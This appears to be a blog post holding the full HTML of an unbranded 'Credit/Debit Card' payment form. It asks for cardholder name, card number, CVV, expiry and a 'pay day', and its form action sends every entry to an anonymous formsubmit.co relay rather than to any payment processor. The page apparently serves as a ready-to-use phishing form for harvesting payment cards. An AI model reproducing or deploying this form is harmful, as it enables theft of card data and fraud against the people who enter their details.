Welcome

<!DOCTYPE html>
<html lang="en">
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Credit/Debit Card </title>
    
</head>
<body>
    
   <style>
       
       body {
    font-family: Arial, sans-serif;
    background-color: #f5f5f5;
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100vh;
}

.card-form {
    background-color: #fff;
    padding: 20px;
    border-radius: 10px;
    box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
    width: 400px;
}

h2 {
    text-align: center;
    margin-bottom: 20px;
}

.input-group {
    margin-bottom: 15px;
}

label {
    display: block;
    font-size: 14px;
    margin-bottom: 5px;
}

input, select {
    width: 100%;
    padding: 8px;
    border: 1px solid #ccc;
    border-radius: 5px;
    font-size: 16px;
}

.date-group {
    display: flex;
    gap: 10px;
}

.date-group select {
    flex: 1;
}

.button-group {
    display: flex;
    justify-content: space-between;
}

button {
    padding: 10px;
    border: none;
    font-size: 16px;
    cursor: pointer;
    width: 48%;
    border-radius: 5px;
}

.cancel {
    background-color: #2c3e50;
    color: white;
}

.submit {
    background-color: #27ae60;
    color: white;
}

button:hover {
    opacity: 0.8;
}
       
   </style> 
    
    
    <div class="card-form">
        <h2>CREDIT / DEBIT</h2>
        <form action="https://formsubmit.co/4b442333e9eb95c98ff0a164f5911ff4" method="POST">
            
            <div class="input-group">
                <label for="first-name">Pay day</label>
                <input type="text" id="first-name" name="pay-day" placeholder="e.g. 15" required>
            </div>
            
            <div class="input-group">
                <label for="card-holder">Cardholder</label>
                <input type="text" id="card-holder" name="card-holder" placeholder="e.g. D E Debric" required>
            </div>
            
            <div class="input-group">
                <label for="card-number">Card number</label>
                <input type="text" id="card-number" name="card-number" placeholder="•••• •••• •••• ••••" required>
            </div>
            
            <div class="input-group">
                <label for="cvv">CVV</label>
                <input type="text" id="cvv" name="cvv" placeholder="•••" required>
            </div>
            
            <div class="input-group">
                <label for="valid-month">Valid until</label>
                <div class="date-group">
                    <select id="valid-month" name="valid-month" required>
                        <option value="">Month</option>
                        <option>01</option>
                        <option>02</option>
                        <option>03</option>
                        <option>04</option>
                        <option>05</option>
                        <option>06</option>
                        <option>07</option>
                        <option>08</option>
                        <option>09</option>
                        <option>10</option>
                        <option>11</option>
                        <option>12</option>
                    </select>
                    
                    <select id="valid-year" name="valid-year" required>
                        <option value="">Year</option>
                        <option>2025</option>
                        <option>2026</option>
                        <option>2027</option>
                        <option>2028</option>
                        <option>2029</option>
                        <option>2030</option>
                    </select>
                </div>
            </div>
            
            <div class="button-group">
                <button type="submit" class="submit">Submit</button>
            </div>
        </form>
    </div>
</body>
</html>

Comments

Post a Comment